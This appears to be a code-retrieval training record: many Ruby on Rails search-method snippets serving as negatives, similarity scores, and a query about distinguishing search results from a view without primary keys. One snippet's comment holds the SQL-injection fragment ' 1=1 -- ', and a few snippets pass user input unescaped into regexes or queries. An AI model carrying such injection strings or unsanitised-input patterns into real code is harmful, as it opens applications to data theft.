"def index_search\n return\n #Search for data if search comes in\n if params[:search] != nil\n #Delete any temp search docs so we don't search them too \n Document.destroy_all(:name => ENV['temp_search_doc'])\n \n #start recording run time\n data_stime = Time.now() #start time\n \n d = document_search_data_couch(params[:search], params.has_key?(\"lucky_search\"))\n data_etime = Time.now() #end time\n data_ttime = data_etime - data_stime #total time\n \n #start recording run time\n doc_stime = Time.now() #start time\n \n c=Collection.find_or_create_by_name(\"Recent Searches\")\n c.save\n \n @temp_search_document = Document.new\n @temp_search_document.name = ENV['temp_search_doc']\n @temp_search_document.collection = c\n @temp_search_document.stuffing_data = d\n @temp_search_document.stuffing_is_search_doc = TRUE\n @temp_search_document.save\n \n#TODO: taking out document searching for now, because it is so slow! \n=begin \n doc_etime = Time.now() #end time\n doc_ttime = doc_etime - doc_stime #total time\n \n @documents = Document.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 5, :page => params[:page])\n\n flash[:notice]=\"Searched data in #{data_ttime} seconds, searched document names in #{doc_ttime}.\"\n=end\n @documents = []\n flash[:notice]=\"Searched data in #{data_ttime} seconds.\"\n else\n @documents = Document.all.paginate(:per_page => 5, :page => params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n end\n end",
"def search(live=false)\n doctor = nil\n user = nil\n patient = nil\n date = nil\n\n doctor = \"%\" + params[:doctor_field] + \"%\" if !params[:doctor_field].nil? and params[:doctor_field].length > 0\n user = \"%\" + params[:user_field] + \"%\" if !params[:user_field].nil? and params[:user_field].length > 0\n patient = \"%\" + params[:patient_field] + \"%\" if !params[:patient_field].nil? and params[:patient_field].length > 0\n date = (!params[:Time][:tomorrow].nil? and params[:Time][:tomorrow].length > 0) ? params[:Time][:tomorrow] : Time.tomorrow\n#Learn how to handle Dates in rails' forms\n # date = params[:date_field].nil? ? Date.new. : params[:date_field]\n\n# logger.error \"D: #{doctor}/#{params[:doctor_field]}; U: #{user}/#{params[:user_field]}; P: #{patient}/#{params[:patient_field]}; T: #{date}/#{params[:Time][:now]}\\n\"\n\n tables = ['form_instances']\n tables.push('doctors') unless doctor.nil?\n tables.push('users') unless user.nil?\n tables.push('patients') unless patient.nil?\n\n matches = ['form_instances.status_number=4 AND form_instances.created_at < :date'] #Put the date field in first by default - there will always be a date to search for.\n matches.push('form_instances.doctor_id=doctors.id') unless doctor.nil?\n matches.push('form_instances.user_id=users.id') unless user.nil?\n matches.push('form_instances.patient_id=patients.id') unless patient.nil?\n matches.push('doctors.friendly_name LIKE :doctor') unless doctor.nil?\n matches.push('users.friendly_name LIKE :user') unless user.nil?\n matches.push('(patients.first_name LIKE :patient OR patients.last_name LIKE :patient OR patients.account_number LIKE :patient OR patients.address LIKE :patient)') unless patient.nil?\n\n @form_values = {:Time => {:tomorrow => date}} #put the date field in first by default - there will always be a date to search for.\n @values = {:date => date}\n @form_values.merge!({:doctor_field => params[:doctor_field]}) unless doctor.nil?\n @values.merge!({:doctor => doctor}) unless doctor.nil?\n @form_values.merge!({:user_field => params[:user_field]}) unless user.nil?\n @values.merge!({:user => user}) unless user.nil?\n @form_values.merge!({:patient_field => params[:patient_field]}) unless patient.nil?\n @values.merge!({:patient => patient}) unless patient.nil?\n\n# SELECT form_instances.* FROM form_instances,doctors,users,patients WHERE form_instances.doctor_id=doctors.id AND form_instances.user_id=users.id AND form_instances.patient_id=patients.id AND doctors.friendly_name LIKE :doctor AND users.friendly_name LIKE :user AND (patients.first_name LIKE :patient OR patients.last_name LIKE :patient OR patients.account_number LIKE :patient OR patients.address LIKE :patient)\n\n @result_pages, @results = paginate_by_sql(FormInstance, [\"SELECT form_instances.* FROM \" + tables.join(',') + \" WHERE \" + matches.join(' AND ') + \" ORDER BY form_instances.created_at DESC\", @values], 30, options={})\n @search_entity = @results.length == 1 ? \"Archived Form\" : \"Archived Forms\"\n render :layout => false\n end",
"def search\n Settings.record_activity \n if @params['show_results'] == 'true' && (@last_search = SearchContacts.last_search)\n @contacts_already_on_device = @last_search.find_contacts_on_device\n end\n render :action => :search, :back => 'callback:', :layout => 'layout_JQM_Lite'\n end",
"def search(params)\n raise NotImplementedError\n end",
"def index\n @item_collections = ItemCollection.where('is_private=false')\n if !params[:search].nil? || params[:search] == ''\n t = ItemCollection.arel_table\n @item_collections = ItemCollection.where(t[:name].matches(\"%#{params[:search]}%\").and(t[:is_private].eq(false)))\n #@item_collections = ItemCollection.where('name LIKE ? AND is_private=false', \"%#{params[:search]}%\")\n end\n end",
"def search(records, field, criteria)\n records.select { |record| record[field] == criteria }\n end",
"def basic_search(data)\n fill_in_if_supplied('product_id', data['Product Id'])\n select_if_supplied('designer_id', data['Designer'])\n select_if_supplied('season_id', data['Season'])\n select_if_supplied('season_act_id', data['Act'])\n select_if_supplied('product_department_id', data['Department'])\n fill_in_if_supplied('keywords', data['Keywords'])\n fill_in_if_supplied('style_ref', data['Style Ref'])\n fill_in_if_supplied('sku', data['Legacy Sku'])\n select_if_supplied('channel_id', data['Channel'])\n find_and_set_if_supplied(stock_locator(data), data['Stock / Sample'])\n end",
"def perform_search\n if self.class == Alchemy::Admin::PagesController && params[:query].blank?\n params[:query] = 'lorem'\n end\n return if params[:query].blank?\n @search_results = search_results\n if paginate_per\n @search_results = @search_results.page(params[:page]).per(paginate_per)\n end\n end",
"def update\n @search_input.update\n end",
"def search(db_records)\n if id && db_records[id]\n @fide_player = db_records[id]\n @icu_player = @fide_player.icu_player\n end\n end",
"def find(query); end",
"def find(query); end",
"def search(target)\n end",
"def search_modified_documents(options={})\n ethon = ethon_easy_json_requester\n query = uri_escape build_search_kql_conditions(options)\n properties = build_search_properties(options)\n filters = build_search_fql_conditions(options)\n sorting = \"sortlist='write:ascending'\"\n paging = build_search_paging(options)\n ethon.url = \"#{base_api_url}search/query?querytext=#{query}&refinementfilters=#{filters}&#{properties}&#{sorting}&#{paging}&clienttype='Custom'\"\n ethon.perform\n check_and_raise_failure(ethon)\n server_responded_at = Time.now\n {\n requested_url: ethon.url,\n server_responded_at: server_responded_at,\n results: parse_search_response(ethon.response_body)\n }\n end",
"def search\n\t\t@articles = Article.where(\"text = ?\",params[:q])\n \n #Article.find_by_text(params[:q])\n \n #debug\n @articles.each do |article|\n puts article.title\n end\n \n \n\t\t#@articles = Article.where(:text => params[:q]) ' 1=1 -- '\n\n\t\t#@articles = Article.where(\"text = ?\", params[:q] )\n \n \n #TODO\n # add filter for other fields\n # Article.where(\"text = ? and title = ?\",params[:text],params[:title])\n \n # to add LIKE filter SQL : name like %aa%\n # \"name LIKE ? OR postal_code like ?\", \"%#{search}%\", \"%#{search}%\"\n \n end",
"def search=(value)\n @search = value\n end",
"def search\n conditions = KonyuRireki.where(\"konyu_rirekis.\\\"delFlg\\\" = ?\", 0)\n conditions = add_condition_int(conditions, \"konyu_rirekis.\\\"kokyakuId\\\"\", :kokyakuIdFrom, :kokyakuIdTo)\n conditions = add_condition_int(conditions, \"konyu_rirekis.\\\"hokenShubetsuCd1\\\"\", :hokenShubetsuCd1)\n conditions = add_condition_int(conditions, \"konyu_rirekis.\\\"hokenShubetsuCd2\\\"\", :hokenShubetsuCd2)\n conditions = add_condition_date(conditions, \"\\\"juchuDt\\\"\", :juchuDtFrom, :juchuDtTo)\n conditions = add_condition_name(conditions, \"byoins.\\\"byoinNm\\\"\", :byoinNm)\n conditions = add_condition_date(conditions, \"\\\"kariAwaseDt\\\"\", :kariAwaseDtFrom, :kariAwaseDtTo)\n conditions = add_condition_name(conditions, \"kokyakus.\\\"kokyakuNm1\\\"\", :kokyakuNm1)\n conditions = add_condition_name(conditions, \"kokyakus.\\\"kokyakuNm2\\\"\", :kokyakuNm2)\n conditions = add_condition_name(conditions, \"konyu_rirekis.\\\"shohinNm\\\"\", :shohinNm)\n conditions = add_condition_date(conditions, \"\\\"nohinDt\\\"\", :nohinDtFrom, :nohinDtTo)\n conditions = add_condition_name(conditions, \"kokyakus.\\\"kokyakuNmKana1\\\"\", :kokyakuNmKana1)\n conditions = add_condition_name(conditions, \"kokyakus.\\\"kokyakuNmKana2\\\"\", :kokyakuNmKana2)\n conditions = add_condition_userNm(conditions, \"ust\", :uketsukeSesakuTantoNm)\n conditions = add_condition_date(conditions, \"\\\"kofuDt\\\"\", :kofuDtFrom, :kofuDtTo)\n conditions = add_condition_str(conditions, \"konyu_rirekis.\\\"shubetsuKn\\\"\", :shubetsuKn)\n conditions = add_condition_userNm(conditions, \"kat\", :kariAwaseTantoNm)\n conditions = add_condition_date(conditions, \"\\\"nyukinDt\\\"\", :nyukinDtFrom, :nyukinDtTo)\n conditions = add_condition_name(conditions, \"seihins.\\\"hinmeiNm\\\"\", :hinmeiNm)\n conditions = add_condition_userNm(conditions, \"nt\", :nohinTantoNm)\n conditions = add_condition_date(conditions, \"\\\"oshiinDt\\\"\", :oshiinDtFrom, :oshiinDtTo)\n conditions = add_condition_userNm(conditions, \"mt\", :mitsumoriTantoEigyoNm)\n conditions = add_condition_date(conditions, \"\\\"kanryoDt\\\"\", :kanryoDtFrom, :kanryoDtTo)\n conditions = add_condition_date(conditions, \"\\\"mitsumoriDt\\\"\", :mitsumoriDtFrom, :mitsumoriDtTo)\n\n # 検索に必要なSQL文を取得する\n select, joins = get_select_stmt(:select)\n\n records = conditions.count(:joins => joins)\n limit = params[:rows].to_i\n page = params[:page].to_i\n if records > 0\n n = records.quo(limit)\n total_pages = n.ceil\n else\n total_pages = 0\n end\n start = limit * page - limit;\n\n @konyu_rirekis = conditions.find(\n :all,\n :select => select,\n :joins => joins,\n :offset => start,\n :limit => limit,\n :order => \"konyu_rirekis.\\\"kokyakuId\\\" ASC\")\n\n @responce = {\n total: total_pages.to_s,\n page: params[:page],\n records: records.to_s,\n rows: @konyu_rirekis\n }\n logger.debug(@responce)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @responce }\n end\n end",
"def search\n @search = Ransack::Search.new(Student)\n end",
"def index_search_document\n searchable = search_document\n\n # make sure the search document exists\n searchable = create_search_document if searchable.nil?\n\n # if an 'if:' was passed to the options,\n # make sure it passes before adding any more content\n if search_options[:if].present? && !send(search_options[:if])\n searchable.content = \"\"\n searchable.save\n\n else\n # update the content\n searchable.content = searchable_content\n\n # update any extra fields\n Array(search_options[:with_fields]).each do |extra_field|\n searchable[extra_field] = send(extra_field)\n end\n\n # save the document\n searchable.save\n end\n end",
"def populateSearch\n Search.transaction do\n search = Search.new\n @results.keys.each do |key|\n s = search.search_stonks.new\n s.stonk = Stonk.find_by symbol: key\n s.count = @results[key]\n end\n search.save!\n end\n end",
"def cache_content_filter_data\n if name && name_id_changed?\n self.lifeform = name.lifeform\n self.text_name = name.text_name\n self.classification = name.classification\n end\n self.where = location.name if location && location_id_changed?\n end",
"def recipeingredientsearch\n @query = params[:search]\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n if params[:exclusive] == \"1\"\n Recipe.where(\"name like :name\", {name: \"%#{@query}%\"}).find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.where(\"name like :name\", {name: \"%#{@query}%\"}).find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end\n return @recipes\n end",
"def controlTextDidChange(notification)\n queue.cancelAllOperations\n if searchField.stringValue =~ /^\\s*$/\n @filteredData = Utf8::Symbol.all\n reloadTable\n else\n search = SearchTask.alloc.initWithTerm(searchField.stringValue)\n queue.addOperation(search)\n end\n end",
"def updateFilter(sender)\n CanastoLog.debug @searchField.stringValue\n end",
"def find(search)\n all_contacts = ContactDatabase.read_from_file\n all_contacts.each do |contacts|\n if contacts[1] =~ /#{search}/i or contacts[2] =~ /#{search}/i\n p \" #{contacts[0]}: #{contacts[1]} (#{contacts[2]})\" \n end \n end\n end",
"def live_search\n# @banco_pages, @bancos = paginate :bancos, :per_page => 10\n @ejidos = Ejido.find(:all, :order => 'ejido')\n @ejidos = Ejido.find(:all, :conditions => [\"ejido like ?\", \"%#{params[:searchtext]}%\"])\n return render(:partial => 'filtroejido', :layout => false) if request.xhr?\n end",
"def prepare_saved_search_params\n # get previous advanced search from session if any\n if session[:crm_borrowed_items_search_details] != nil\n @search = session[:crm_borrowed_items_search_details]\n else\n @search = CrmBorrowedItemsSearchDetails.new\n end\n \n new_search = false\n search_params = params[:search]\n \n if !search_params.blank?\n search_params.keys.map{ |k| new_search = true unless @search.send(k) == search_params[k] }\n else\n new_search = true\n end\n \n if new_search\n session[:crm_borrowed_items_search_details] = []\n \n if !search_params.blank?\n search_params.keys.map{|k| @search.send(k+'=', search_params[k])}\n end \n session[:crm_borrowed_items_search_details] = @search\n end\n \n end",
"def search(word)\n \n end",
"def update_and_add!(index_search=:DontSearchForThis_195151c48a254db2949ed102c81ec579, update_hash, &block_search)\n \n # only filter if they sent something to be filter otherwise leave the filter alone\n unless index_search == :DontSearchForThis_195151c48a254db2949ed102c81ec579 && block_search.nil?\n old_filter = @filter_proc\n old_binding = @filter_binding\n filter(index_search, &block_search)\n end\n\n changed = recursive_update_root(update_hash, true)\n\n if old_filter\n @filter_proc = old_filter\n @filter_binding = old_binding\n flatten\n end\n \n changed\n end",
"def find_by()\n\n end",
"def search_attributes\n nil\n end",
"def search\n @search_criteria =\"\"\n if params[:q].eql? \"\"\n @search_criteria =\"All\"\n @items = Item.all.paginate(:page => params[:page], per_page: 9)\n else\n @st = \"%#{params[:q]}%\"\n @search_criteria = params[:q]\n @items = Item.where(\"LOWER(title) LIKE ?\", @st.downcase).paginate(:page => params[:page], per_page: 9)\n end\n end"
] |
[
"0.66568226",
"0.6502651",
"0.64640445",
"0.6407725",
"0.6340703",
"0.6340703",
"0.6340703",
"0.6340703",
"0.6340703",
"0.6340703",
"0.6340703",
"0.6340703",
"0.6340703",
"0.6340703",
"0.63310254",
"0.6168554",
"0.61671877",
"0.61667126",
"0.60386676",
"0.60257727",
"0.6014782",
"0.6005044",
"0.59791917",
"0.5952059",
"0.5912862",
"0.59025174",
"0.58954203",
"0.5872725",
"0.58251584",
"0.58197975",
"0.5788539",
"0.5765246",
"0.57555515",
"0.57442063",
"0.57433087",
"0.57385826",
"0.5736661",
"0.5735356",
"0.5721253",
"0.57014406",
"0.5672965",
"0.5648953",
"0.56479514",
"0.56361556",
"0.56325185",
"0.56232107",
"0.5613551",
"0.5613524",
"0.561049",
"0.56008554",
"0.5578792",
"0.556937",
"0.55671227",
"0.5559557",
"0.5536984",
"0.55118275",
"0.5511476",
"0.5507763",
"0.5504203",
"0.55018574",
"0.5499998",
"0.5491642",
"0.54906034",
"0.5489484",
"0.5478244",
"0.5472676",
"0.5469063",
"0.5456581",
"0.54541963",
"0.5452211",
"0.5444597",
"0.54376805",
"0.5426726",
"0.54253995",
"0.5420464",
"0.541643",
"0.54076535",
"0.54037374",
"0.540347",
"0.5399226",
"0.5399226",
"0.5397604",
"0.5394842",
"0.53931785",
"0.5389459",
"0.5379161",
"0.5375557",
"0.53744996",
"0.5374388",
"0.53716767",
"0.5368785",
"0.53634155",
"0.53602076",
"0.5353298",
"0.53485644",
"0.53380185",
"0.533652",
"0.53178096",
"0.53169537",
"0.5315061",
"0.53140765"
] |
0.0
|
-1
|
Our view doesn't have primary keys, so we need to be explicit about how to tell different search results apart; without this, we can't use :include to avoid n + 1 query problems
|
def hash; [searchable_id, searchable_type].hash; end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n special_joins = {}\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = VirtualAssignment\n allparams[:webparams] = params\n allparams[:special_joins] = special_joins\n\n results = Search.new(allparams).search\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:dasherize => false) }\n end\n end",
"def index\n special_joins = {}\n\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = Tag\n allparams[:webparams] = params\n allparams[:special_joins] = special_joins\n\n results = Search.new(allparams).search\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:include => convert_includes(includes),\n :dasherize => false) }\n end\n end",
"def index\n @sections = Section\n .includes(suggestion: { user: :profile })\n .by_query(params[:q])\n end",
"def index\n special_joins = {}\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = Tagging\n allparams[:webparams] = params\n allparams[:special_joins] = special_joins\n\n results = Search.new(allparams).search\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:dasherize => false) }\n end\n end",
"def search\n @core_search.joins(:name_status)\n .select('max(name.id) id')\n .select('max(name.simple_name) simple_name')\n .select('max(name.full_name) full_name')\n .select('max(name.full_name_html) full_name_html')\n .select('tree_element.excluded')\n .select('max(name_status.id) name_status_id')\n .select('max(name_status.name) name_status_name_')\n .select('instance_type.misapplied')\n .select('instance_type.pro_parte')\n .select('max(names_instance.full_name) cross_referenced_full_name')\n .select('null cross_reference_misapplication_details')\n .select('max(names_instance.id) cross_referenced_full_name_id')\n .select('max(instance.id) instance_id')\n .select('max(citer_instances_instance.id) citers_instance_id')\n .select('max(tree_version_element.name_path) name_path')\n .select('null profile')\n .select('null synonyms')\n .select('true cross_reference')\n .select('max(names_instance.full_name_html) cross_ref_full_name_html')\n .select('instance_type.doubtful')\n .select('max(reference.citation) reference_citation')\n .group(main_group_by_columns)\n .limit(@parser.limit)\n .offset(@parser.offset)\n .order(' full_name ')\n end",
"def index\n @phrases = Phrase.all.includes(:person) # Using includes avoid n+1 problem\n end",
"def index\n special_joins = {}\n\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = Graffiti\n allparams[:webparams] = params\n allparams[:special_joins] = special_joins\n\n results = Search.new(allparams).search\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:include => convert_includes(includes),\n :dasherize => false) }\n end\n end",
"def index_old\n # includes will use a LEFT OUTER JOIN query if you do a condition on the table that the includes association uses:\n #@products = Product.eager_load(:brand).page(params[:page] || 1).per(2)\n search = {}\n search[:brand] = params[:brand]\n search[:categories] = params[:categories] || request.params[:category]\n ids_query = Product.get_sql_query(params[:limit], params[:page], params)\n ids_query_results = ActiveRecord::Base.connection.execute(ids_query)\n products_ids = ids_query_results.map { |c| c['id'] }\n # render json: products_ids\n products = Product.where(id: products_ids).order(votes_count: :desc)\n @products = {}\n @top_wishers = {}\n ids_query_results.each { |c|\n unless @top_wishers.has_key?(c['id'])\n @top_wishers[c['id']] = []\n end\n @top_wishers[c['id']].append({:user_id => c['user_id'], :username => c['username']})\n }\n # get the first element to get information\n # then push element\n products.each { |entry|\n # if the key does't exist\n unless @products.has_key? entry.id\n @products[entry.id] = {\n :item => entry,\n :brand => entry.brand,\n :pictures => entry.pictures\n }\n end\n }\n\n ## check all current user like\n @me_and_products = {}\n if current_user\n mine = current_user.get_products_i_voted_from_list(@products.keys)\n mine.map do |entry|\n @me_and_products[entry[:product_id]] = true\n end\n end\n end",
"def index\n @spr_people = SprPerson.select(\"*\").where(\n id: Person.select(\"spr_person_id\").where(\n id: Adult.select(\"person_id\")))\n \n end",
"def scaffold_search_include\n @scaffold_search_include ||= scaffold_search_fields.collect{|field| field.to_sym if reflection = reflect_on_association(field.to_sym)}.compact\n end",
"def index\n special_joins = {}\n\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = Status\n allparams[:webparams] = params\n allparams[:special_joins] = special_joins\n\n results = Search.new(allparams).search\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:include => convert_includes(includes),\n :dasherize => false) }\n end\n end",
"def show\n\n @comments = @result.root_comments.includes([:user,:children])\n\n @associated_objects = [\n {:method=>:search_results, :includes=>:search, :link=>{:method=>:search_id, :path=>:search_url, :params=>[:search_id]}, :attributes=>[:search_name, :provider, :query, :created_at], name:\"Results\"},\n ]\n\n @associated_objects.each do |result_set|\n get_paginated_results(@result, result_set[:method], result_set[:includes])\n end\n\n\n if(params[:action_name])\n @associated_objects = @associated_objects.select{|obj| obj[:method].to_s == params[:action_name].to_s}\n end\n\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @result }\n format.js\n end\n end",
"def results\n # @search_result = Recipe.where(\"name like ?\", \"%#{params[:search]}%\")\n\n @search_result = Recipe.joins(:food_items).joins(:directions).where(\"food_items.name ILIKE ? OR recipes.name ILIKE ? OR directions.instruction ILIKE ?\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\").distinct\n \n end",
"def show\n @search_results = SearchResult.where(search_id: @search.search_id)\n end",
"def includes\n end",
"def includes\n end",
"def to_find_include\n @conditions.to_find_include\n end",
"def search_joins\n @search_joins || @includes\n end",
"def index\n special_joins = {}\n\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = SupportContract\n allparams[:webparams] = params\n allparams[:special_joins] = special_joins\n\n results = Search.new(allparams).search\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:include => convert_includes(includes),\n :dasherize => false) }\n end\n end",
"def results\n Opinion.where(id: super.pluck(:id))\n end",
"def index\n\n# @exercise_sessions = ExerciseSession\n# .where('exercise_sessions.user_id = ?', current_user.id).limit(10).offset(@page.to_i * 10)\n #type and session were included/joined for weight_set to eliminate/prevent cache calls for 'session and user'\n #now we are trying to eager load to eliminate/prevent cache calls for 'exercise type and program'\n\n# @exercise_sessions = ExerciseSession\n# .includes(:exercise_type)\n# .joins(:exercise_program)\n# .where('exercise_programs.user_id = ?', current_user.id).limit(10).offset(@page.to_i * 10)\n#okay cool but now we're still caching exercise program\n\n#@exercise_sessions = ExerciseSession\n#.includes(:exercise_type, :exercise_program)\n# .joins(:exercise_type)\n# .where('exercise_sessions.user_id = ?', current_user.id).limit(10).offset(@page.to_i * 10)\n#even better\n\n@exercise_sessions = ExerciseSession\n.for_page(@page, current_user)\n#EVEN BETTER\n\n#@exercise_sessions = ExerciseSession\n#.includes(:exercise_type, :exercise_program)\n# .joins(:exercise_program)\n# .where('exercise_programs.user_id = ?', current_user.id).limit(10).offset(@page.to_i * 10)\n#this also works\n#exercise_programs OR type works\n\n\n\n end",
"def show\n # if params[:value]\n # @occasion = Occasion.find(params[:value])\n\n # @results1 = Tradename.find_by_contents(query, :models => [Tradename, Client], :limit => :all)\n # if @results1.empty? \n # @results2 = Word.find_by_contents(query, :models => [Word, Tradename, Client], :limit => :all)\n # if @results2.empty?\n # @results = Client.find_by_contents(query, :models => [Client], :limit => :all)\n # else\n # @results = @results2\n # end\n # else\n # @results = @results1\n # end\n\n # end\n end",
"def show\n # gestiamo l'elenco dei relateds\n #params[:related] = \"people\" if params[:related].blank?\n case params[:related]\n when \"favorites\"\n # TODO\n #@relateds = current_user.favorites.search(params[:search]).order('created_at DESC').page(params[:page]).per_page(6)\n @relateds = @company.favorites.all.page(params[:page])\n @relateds_path = \"favorites\"\n when \"people\"\n @relateds = @company.company_person_maps.search_people(params[:search]).order('created_at DESC').page(params[:page])\n @relateds_path = \"company_person_maps\"\n when \"companies\"\n @relateds = Company.all.page(params[:page])\n #@relateds = Company.search(params[:search]).order('created_at DESC').page(params[:page]).per_page(6)\n @relateds_path = \"companies\"\n when \"contacts\"\n @relateds = @company.contacts.search(params[:search]).order('updated_at DESC').page(params[:page])\n @relateds_path = \"contacts\"\n when \"addresses\"\n @relateds = @company.addresses.search(params[:search]).order('updated_at DESC').page(params[:page])\n @relateds_path = \"addresses\"\n when \"histories\"\n @relateds = @company.histories.search(params[:search]).order('updated_at DESC').page(params[:page])\n @relateds_path = \"histories\"\n else\n raise \"#TODO\"\n end\n end",
"def index\n # @entries = Entry.all\n @search.sorts = ['term desc', 'created_at desc'] if @search.sorts.empty?\n @search_term = params[:q]\n @entries = @search\n .result(distinct: true)\n .includes(:definitions)\n .page(params[:page])\n .per(params[:per_page])\n\n\n 1\n end",
"def index\n @photographs = Photograph.all\n\n @search = Photograph.ransack(params[:q])\n @photographs = @search.result(distinct: true)\n end",
"def include_docs\n raise \"Documents cannot be returned from a view that is prepared for a reduce\" if query[:reduce]\n update_query(:include_docs => true)\n end",
"def index\n # Uses will_paginate gem\n @words = Word\n .includes(\n definitions: [\n { related_definitions: :word },\n :places,\n :alt_spellings,\n :source_materials,\n :source_dates\n ]\n )\n .order(sort_order)\n .paginate(page: params[:page], per_page: 50)\n .load\n end",
"def index\n #search query, check params for search then search by appropriate fields\n @q = Entry.all\n @author_id = params[:search][:author_id] if params[:search]\n @text = params[:search][:text] if params[:search]\n @q = Entry.search(@q, @text) if !@text.blank?\n @q = @q.where(author_id: params[:search][:author_id]) if !@author_id.blank?\n\n #final result and column toggle sort\n @entries = @q.paginate(:page => params[:page], :per_page => 30).includes(:author).order(sort_column + \" \" + sort_direction)\n end",
"def api_include(params)\n # Which columns must we select?\n select = []\n # Which associations must we eager-load?\n eagers = []\n \n model.default_attrs.each do |attr|\n select += model.attr_columns[attr.to_s]\n eagers += model.attr_associations[attr.to_s]\n end\n \n if params['include']\n select += MF::API::IncludeNode.build_select_list(params['include'], model)\n eagers += MF::API::IncludeNode.build_eager_graph(params['include'], model)\n end\n \n # Don't eager load more than once. :)\n eagers.uniq!\n \n # Also select columns which associations may need to operate.\n eagers.each do |eager|\n # Add the primary key on this table needed to access everything.\n if eager.is_a?(Hash)\n ref = model.association_reflection(eager.keys.first.to_sym)\n else\n ref = model.association_reflection(eager)\n end\n \n case ref[:type]\n when :one_to_many\n select << ref[:primary_key] if ref[:primary_key]\n when :many_to_one\n select << ref[:key] if ref[:key]\n when :many_to_many\n select << ref[:left_primary_key] if ref[:left_primary_key]\n when :many_through_many\n select << ref[:left_primary_key] if ref[:left_primary_key]\n end\n end\n\n # Ensure we always select critical columns.\n select += model.key_columns\n \n # Don't select more than once\n select.uniq!\n \n # Modify a copy of this dataset.\n dataset = self.clone\n\n # Select columns\n if dataset.opts[:select] and\n dataset.opts[:select].size == 1 and \n dataset.opts[:select].first.kind_of? Sequel::SQL::ColumnAll\n # This dataset is selecting ALL elements; drop the select and\n # replace it with our explicit selection.\n dataset.opts[:select] = select\n else\n # The dataset may have no select() columns -or- a number of explicit\n # selections; we will merge our own.\n dataset = dataset.select_more *select\n end\n\n # Eager loading\n dataset = dataset.eager(*eagers) unless eagers.empty?\n\n # Ensure we use the first table source as the qualifier for all\n # unqualified identifiers.\n dataset = dataset.qualify_to_first_source\n \n dataset\n end",
"def index\n @results = {}\n\n if TeSS::Config.solr_enabled\n SEARCH_MODELS.each do |model_name|\n model = model_name.constantize\n @results[model_name.underscore.pluralize.to_sym] = Sunspot.search(model) do\n fulltext search_params\n\n with('end').greater_than(Time.zone.now) if model_name == 'Event'\n\n\n # Hide failing records\n if model.method_defined?(:link_monitor)\n unless current_user && current_user.is_admin?\n without(:failing, true)\n end\n end\n\n if model.attribute_method?(:user_requires_approval?)\n # TODO: Fix this duplication!\n # Hide shadowbanned users' events, except from other shadowbanned users and administrators\n unless current_user && (current_user.shadowbanned? || current_user.is_admin?)\n without(:shadowbanned, true)\n end\n\n # Hide unverified users' things, except from curators and admins\n unless current_user && (current_user.is_curator? || current_user.is_admin?)\n without(:unverified, true)\n end\n end\n end\n end\n \n end\n\n @results.reject! { |_, result| result.total < 1 }\n end",
"def index\n @vehicle_assignments = VehicleAssignment.all\n @search = VehicleAssignment.search(params[:q])\n @vehicle_assignments = @search.result\n @vehicle_assignments = @vehicle_assignments.includes([:unit_authorised, :unit_receiver, :authoriser])\n\n end",
"def find(id, params = {})\n params[:include_views] = params[:include_views] || true\n super(id, params)\n end",
"def show_related_assets(solr_parameters)\n solr_parameters[:q] = related_assets_with_citi_uid_and_model\n end",
